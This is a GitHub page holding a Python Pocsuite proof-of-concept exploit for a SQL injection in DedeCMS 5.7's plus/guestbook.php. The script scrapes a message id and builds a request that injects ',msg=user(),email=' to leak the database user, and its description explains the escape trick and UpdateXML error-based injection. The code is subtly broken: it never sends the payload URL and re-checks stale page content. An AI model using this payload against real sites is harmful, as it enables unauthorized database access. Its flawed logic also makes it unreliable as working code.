-
Notifications
You must be signed in to change notification settings - Fork 57
/
dede_guestbook_sqli.py
71 lines (60 loc) · 1.99 KB
/
dede_guestbook_sqli.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python
#!coding: utf-8
import re
import sys
from bs4 import BeautifulSoup
from pocsuite.net import req
from pocsuite.poc import POCBase,Output
from pocsuite.utils import register
class Fuckdede(POCBase):
vulID='2'
version = '1'
author = ['fengxuan']
vulDate = '2016-2-13'
createDate = '2016-2-13'
updateDate = '2016-2-13'
references = ['http://www.evalshell.com', 'http://www.moonsec.com/post-13.html']
name = 'dedecms plus/guestbook.php 注入漏洞利用EXP'
appPowerLink = 'http://www.dedecms.cn/'
appName = 'dedecms'
appVersion = '5.7'
vulType = 'SQL Injection'
desc = '''
开发人员在修补漏洞的时候只修复了少数的变量而遗漏了其他变量,使其他变量直接
带入了SQL语句中,可以通过\字符来转义掉一个单引号,逃逸单引号,产生SQL注入。
此注入为报错注入,可以通过UpdateXML函数进行注入。
'''
samples = ['']
def _verify(self):
result = {}
target = self.url + "/plus/guestbook.php"
response = req.get(target)
content = response.content
soup = BeautifulSoup(content, 'lxml')
msgid = None
for line in soup.findAll('a'):
if line.get('href').startswith('guestbook.php?action=admin'):
msgid = line.get('href')[30:]
break
if msgid == None:
print "No msgid find,don't fuck this vulu"
payload = self.url + "/plus/guestbook.php?action=admin&job=editok&id={0}&msg=',msg=user(),email='".format(msgid)
req.get(target)
target = self.url + "/plus/guestbook.php"
response = req.get(target)
content = response.content
for line in soup.findAll('td', attrs={'class':'msgtd'}):
if line.text.find('@localhost') >= 0:
result = {'VerifyInfo':{}}
result['VerifyInfo']['URL'] = self.url
return self.parse_result(result)
def _attack(self):
return self._verify()
def parse_result(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail("Internet Nothing returned")
return output
register(Fuckdede)